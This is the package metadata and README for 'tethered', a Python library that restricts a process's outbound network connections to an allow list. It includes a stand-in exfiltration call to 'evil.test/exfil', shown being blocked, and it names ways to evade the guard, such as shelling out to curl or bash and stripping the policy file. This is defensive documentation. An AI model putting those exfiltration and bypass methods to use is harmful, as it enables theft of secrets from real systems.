Metadata-Version: 2.4
Name: tethered
Version: 0.5.0
Summary: Runtime network egress control for Python
Author: Sergii Shcherbak
License-Expression: MIT
Project-URL: Homepage, https://github.com/shcherbak-ai/tethered
Project-URL: Repository, https://github.com/shcherbak-ai/tethered
Project-URL: Issues, https://github.com/shcherbak-ai/tethered/issues
Keywords: security,egress,network,audit,supply-chain
Classifier: Development Status :: 3 - Alpha
Classifier: Intended Audience :: Developers
Classifier: Programming Language :: Python :: 3
Classifier: Programming Language :: Python :: 3.10
Classifier: Programming Language :: Python :: 3.11
Classifier: Programming Language :: Python :: 3.12
Classifier: Programming Language :: Python :: 3.13
Classifier: Programming Language :: Python :: 3.14
Classifier: Operating System :: POSIX :: Linux
Classifier: Operating System :: MacOS
Classifier: Operating System :: Microsoft :: Windows
Classifier: Topic :: Security
Classifier: Topic :: System :: Networking
Classifier: Typing :: Typed
Requires-Python: >=3.10
Description-Content-Type: text/markdown
License-File: LICENSE
Dynamic: license-file

<p align="center">
  <img src="https://raw.githubusercontent.com/shcherbak-ai/tethered/main/assets/tethered_header.png" alt="tethered" width="100%">
</p>

<h1 align="center">Runtime network egress control for Python</h1>

<p align="center">
  One function call. Zero dependencies. No infrastructure changes.
</p>

<p align="center">
  <a href="https://pypi.org/project/tethered/"><img src="https://img.shields.io/pypi/v/tethered?v=1" alt="PyPI"></a>
  <a href="https://pypi.org/project/tethered/"><img src="https://img.shields.io/pypi/pyversions/tethered?v=1" alt="Python"></a>
  <a href="https://github.com/shcherbak-ai/tethered/blob/main/LICENSE"><img src="https://img.shields.io/badge/license-MIT-blue.svg" alt="License: MIT"></a>
  <br>
  <a href="https://github.com/shcherbak-ai/tethered/actions/workflows/ci.yml"><img src="https://img.shields.io/endpoint?url=https://gist.githubusercontent.com/SergiiShcherbak/20432f86c9102aa2b77ad9e4d4c21aa6/raw/tethered-coverage.json" alt="coverage"></a>
  <a href="https://github.com/shcherbak-ai/tethered/actions/workflows/ci.yml"><img src="https://github.com/shcherbak-ai/tethered/actions/workflows/ci.yml/badge.svg?branch=main" alt="CI"></a>
  <a href="https://github.com/shcherbak-ai/tethered/actions/workflows/codeql.yml"><img src="https://github.com/shcherbak-ai/tethered/actions/workflows/codeql.yml/badge.svg?branch=main" alt="CodeQL"></a>
  <a href="https://github.com/PyCQA/bandit"><img src="https://img.shields.io/badge/security-bandit-yellow.svg" alt="security: bandit"></a>
  <br>
  <a href="https://github.com/astral-sh/ruff"><img src="https://img.shields.io/endpoint?url=https://raw.githubusercontent.com/astral-sh/ruff/main/assets/badge/v2.json" alt="Ruff"></a>
  <a href="https://github.com/astral-sh/uv"><img src="https://img.shields.io/endpoint?url=https://raw.githubusercontent.com/astral-sh/uv/main/assets/badge/v0.json" alt="uv"></a>
  <a href="https://github.com/astral-sh/ty"><img src="https://img.shields.io/endpoint?url=https://raw.githubusercontent.com/astral-sh/ty/main/assets/badge/v0.json" alt="ty"></a>
</p>

tethered is a lightweight, in-process policy check that hooks into Python's own socket layer to enforce your allow list before any packet leaves the machine. Use `activate()` to set a process-wide ceiling, and `scope()` to tighten individual code paths — request handlers, background jobs, library calls, AI-generated code. Everything runs locally within your process — works with requests, httpx, aiohttp, Django, Flask, FastAPI, and any library built on Python sockets.

```python
import tethered

tethered.activate(allow=["*.stripe.com:443", "db.internal:5432"])

import urllib.request
urllib.request.urlopen("https://api.stripe.com/v1/charges")  # works — matches *.stripe.com:443
urllib.request.urlopen("https://evil.test/exfil")            # raises tethered.EgressBlocked
```

## Why tethered?

Your code, your dependencies, and AI coding agents all share the same Python process — and any of them can make network calls you didn't intend. A compromised dependency phones home. An AI coding agent writes tests that accidentally call live APIs. An AI-generated function calls an unauthorized endpoint. A misconfigured library hits production instead of staging.

Python has no built-in way to prevent this at runtime. Infrastructure-level controls (firewalls, network policies, proxies) require platform teams, separate services, or admin privileges. None of them give you a single line of Python that says "this process may only talk to these hosts."

tethered fills this gap at the application layer. One function call controls what any code in the process — yours, your dependencies', or AI-generated — can reach over the network. No proxies, no sidecars, no admin privileges. It's complementary to infrastructure controls, not a replacement.

### Use cases

| | Use case | How tethered helps |
|---|---|---|
| 🔒 | **Supply chain defense** | `activate()` locks the process to your known services — a compromised dependency can't phone home. |
| 🔬 | **Scoped isolation** | `scope()` restricts a specific code path — a request handler, a background job, a library call — to only the destinations it needs. |
| 🤖 | **AI agent guardrails** | Code generated by AI coding agents can't reach unauthorized endpoints — `activate()` enforces your allow list on any code running in the process. |
| 🧪 | **Test isolation** | `activate()` in your test setup ensures the suite never accidentally hits production services. |
| 📋 | **Least-privilege networking** | Combine `activate()` for the process boundary with `scope()` for per-function restrictions — declare your network surface like you declare your dependencies. |

## Install

```bash
uv add tethered
```

Or with pip:

```bash
pip install tethered
```

Requires Python 3.10+. Zero runtime dependencies. Pre-built wheels are available for Linux, macOS, and Windows. Source installs require a C compiler (the package includes a C extension for tamper-resistant locked mode).

## Quick start

tethered has two complementary APIs. Both use the same allow list syntax (see below).

### Enforce process-wide — `activate()`

Call `activate()` as early as possible — **before** any library makes network connections:

```python
# manage.py, wsgi.py, main.py, or your entrypoint
import tethered
tethered.activate(allow=["*.stripe.com:443", "db.internal:5432"])

# Then import and run your app
from myapp import create_app
app = create_app()
```

This pattern works the same for Django, Flask, FastAPI, scripts, and AI-assisted workflows — activate tethered before your application and its dependencies start making connections. Existing connections (e.g., connection pools) established before `activate()` continue to work — tethered intercepts at connect time, not at read/write time.

Use `locked=True` in production to prevent any code from replacing or disabling your policy. Full parameter list and locked-mode details: [docs/API.md](https://github.com/shcherbak-ai/tethered/blob/main/docs/API.md#tetheredactivate).

### Restrict a code path — `scope()`

Use `scope()` to restrict egress for a specific code path — a request handler, a background job, a library call:

```python
import tethered
import httpx

@tethered.scope(allow=["*.stripe.com:443"])
def charge(amount: int, token: str) -> dict:
    # ... validate input, call helper libraries, log analytics —
    # none of them can reach anything except *.stripe.com:443
    resp = httpx.post("https://api.stripe.com/v1/charges", ...)
    return resp.json()
```

Also usable as a context manager (`with tethered.scope(allow=[...]):`). No `deactivate()` needed — cleanup is automatic. Works with sync and async functions.

`scope()` works on its own — no `activate()` required. When the app also called `activate()`, the effective policy is the **intersection** — a connection must be allowed by both. Scopes can only narrow, never widen. Full details: [docs/API.md](https://github.com/shcherbak-ai/tethered/blob/main/docs/API.md#tetheredscope).

> **Package maintainers:** Use `scope()`, never `activate()`. Your library doesn't own the process — the app does.

### Subprocess control

Python child processes (`multiprocessing.Pool`, `ProcessPoolExecutor`, gunicorn workers, plain `subprocess.run([sys.executable, ...])`) **automatically inherit** the parent's tethered policy — including any active scope. Non-Python launches (curl, ffmpeg, different Python interpreters, or `sys.executable` with `-S` which disables `site.py`) are governed by `external_subprocess_policy` (`"warn"` default, or `"block"`).

```python
import tethered, subprocess, sys

tethered.activate(allow=["*.stripe.com:443"])
subprocess.run([sys.executable, "-c", "..."])  # child auto-inherits policy

with tethered.scope(allow=["api.stripe.com:443"]):
    subprocess.run([sys.executable, "-c", "..."])  # child also inherits the active scope
```

Full mechanics, locked-mode hardening, and the auto-vs-external rules: [docs/SUBPROCESS.md](https://github.com/shcherbak-ai/tethered/blob/main/docs/SUBPROCESS.md).

## Allow list syntax

| Pattern | Example | Matches |
|---|---|---|
| Exact hostname | `"api.stripe.com"` | `api.stripe.com` only |
| Wildcard subdomain | `"*.stripe.com"` | `api.stripe.com`, `dashboard.stripe.com` (not `stripe.com`) |
| Hostname + port | `"api.stripe.com:443"` | `api.stripe.com` on port 443 only |
| IPv4 address | `"198.51.100.1"` | That IP only |
| IPv4 CIDR range | `"10.0.0.0/8"` | Any IP in `10.x.x.x` |
| CIDR + port | `"10.0.0.0/8:5432"` | Any IP in `10.x.x.x` on port 5432 |
| IPv6 address | `"2001:db8::1"` or `"[2001:db8::1]"` | That IPv6 address |
| IPv6 + port | `"[2001:db8::1]:443"` | That IPv6 address on port 443 only |
| IPv6 CIDR | `"[2001:db8::]/32"` | Any IP in that IPv6 prefix |

**Wildcard matching:** Uses Python's `fnmatch` syntax. `*` matches any characters **including dots**, so `*.stripe.com` matches both `api.stripe.com` and `a.b.stripe.com`. This differs from TLS certificate wildcards. The characters `?` (single character) and `[seq]` (character set) are also supported.

Localhost (`127.0.0.0/8`, `::1`) is always allowed by default. The addresses `0.0.0.0` and `::` (INADDR_ANY) are also treated as localhost. Malformed hostnames containing whitespace, control characters, or invisible Unicode are rejected and never matched by wildcard rules.

## Examples

| Example | Description |
|---|---|
| [01_basic_activate.py](https://github.com/shcherbak-ai/tethered/blob/main/examples/01_basic_activate.py) | Process-wide allow list with `activate()` |
| [02_scope_context_manager.py](https://github.com/shcherbak-ai/tethered/blob/main/examples/02_scope_context_manager.py) | `scope()` as a context manager |
| [03_scope_decorator.py](https://github.com/shcherbak-ai/tethered/blob/main/examples/03_scope_decorator.py) | `scope()` as a function decorator |
| [04_global_with_scope.py](https://github.com/shcherbak-ai/tethered/blob/main/examples/04_global_with_scope.py) | Global policy + scope — intersection semantics |
| [05_global_with_nested_scopes.py](https://github.com/shcherbak-ai/tethered/blob/main/examples/05_global_with_nested_scopes.py) | Global policy + nested scopes — progressive restriction |
| [06_locked_mode.py](https://github.com/shcherbak-ai/tethered/blob/main/examples/06_locked_mode.py) | `locked=True` — prevent policy tampering |
| [07_log_only.py](https://github.com/shcherbak-ai/tethered/blob/main/examples/07_log_only.py) | Monitor-only mode with `on_blocked` callback |
| [08_scope_in_threads.py](https://github.com/shcherbak-ai/tethered/blob/main/examples/08_scope_in_threads.py) | Scoping inside thread pool workers |
| [09_async_scope.py](https://github.com/shcherbak-ai/tethered/blob/main/examples/09_async_scope.py) | Async decorator and context manager |
| [10_package_maintainer.py](https://github.com/shcherbak-ai/tethered/blob/main/examples/10_package_maintainer.py) | Library self-restricting with `scope()` |
| [11_subprocess_control.py](https://github.com/shcherbak-ai/tethered/blob/main/examples/11_subprocess_control.py) | Auto-propagation to Python child processes + parent-side `external_subprocess_policy` |
| [12_scope_subprocess.py](https://github.com/shcherbak-ai/tethered/blob/main/examples/12_scope_subprocess.py) | Scope propagating to spawn-mode child processes |

## Hardened configuration

For threat models that include compromised dependencies — a maintainer's PyPI account hijacked, a malicious release pushed, the malware exfils local secrets to an attacker C&C — combine tethered's strictest settings:

```python
import tethered

_LOCK = object()
tethered.activate(
    allow=["api.stripe.com:443", "db.internal:5432"],   # only what you actually need
    locked=True,                                          # tamper-resistant policy (C-guardian-protected)
    lock_token=_LOCK,                                     # required when locked=True
    external_subprocess_policy="block",                   # if your app doesn't shell out
)

# Only NOW import third-party code — including potentially compromised deps
import stripe
```

This combination:

- **Auto-propagates the policy** to every Python child (multiprocessing workers, `subprocess.run`, `asyncio.create_subprocess_exec`) — a multi-stage exfil chain (`Layer 0 → spawn → Layer 1 → ...`) cannot escape by launching a fresh interpreter.
- **Refuses non-Python launches** (`curl`, `wget`, `bash`) — closes the "shell out to a binary that does the egress" bypass.
- **Refuses tampering** with the propagation channel — in-process code cannot strip `_TETHERED_CHILD_POLICY`, delete `tethered.pth`, or replace the policy with a permissive one without raising `SubprocessBlocked`.

Activate **before** importing any third-party code — anything that runs in the unprotected window (e.g., during a malicious package's `__init__.py`) is unprotected. tethered does not protect against `ctypes` / `cffi` raw syscalls; pair with OS-level controls (seccomp, containers, network namespaces) for hard isolation.

## Defense-in-depth

> tethered is a **guardrail at the Python audit-event layer, not a sandbox**. Code that uses `ctypes`, `cffi`, subprocesses, or C extensions with direct syscalls can bypass it. For hardened environments combine with OS-level controls (containers, seccomp, network namespaces). See [SECURITY.md](https://github.com/shcherbak-ai/tethered/blob/main/SECURITY.md) for the full threat model.

## Documentation

- [docs/API.md](https://github.com/shcherbak-ai/tethered/blob/main/docs/API.md) — full API reference (`activate`, `scope`, `deactivate`, exceptions, locked mode, log-only)
- [docs/SUBPROCESS.md](https://github.com/shcherbak-ai/tethered/blob/main/docs/SUBPROCESS.md) — subprocess auto-propagation, scope propagation, `external_subprocess_policy`
- [docs/ARCHITECTURE.md](https://github.com/shcherbak-ai/tethered/blob/main/docs/ARCHITECTURE.md) — how the audit hook works, scope mechanics, C guardian
- [docs/COOKBOOK.md](https://github.com/shcherbak-ai/tethered/blob/main/docs/COOKBOOK.md) — handling blocked connections in Django, Celery, retry decorators
- [SECURITY.md](https://github.com/shcherbak-ai/tethered/blob/main/SECURITY.md) — threat model, what tethered does and does not protect against
- [examples/](https://github.com/shcherbak-ai/tethered/tree/main/examples) — runnable scripts for every feature

## Badge

Using tethered in your project? Add the badge to your README:

```markdown
[![egress: tethered](https://img.shields.io/badge/egress-tethered-orange?labelColor=4B8BBE)](https://github.com/shcherbak-ai/tethered)
```

[![egress: tethered](https://img.shields.io/badge/egress-tethered-orange?labelColor=4B8BBE)](https://github.com/shcherbak-ai/tethered)

## Contributing

See [CONTRIBUTING.md](https://github.com/shcherbak-ai/tethered/blob/main/CONTRIBUTING.md) for development setup and guidelines.

## Security

See [SECURITY.md](https://github.com/shcherbak-ai/tethered/blob/main/SECURITY.md) for reporting vulnerabilities and the full threat model.

## License

MIT
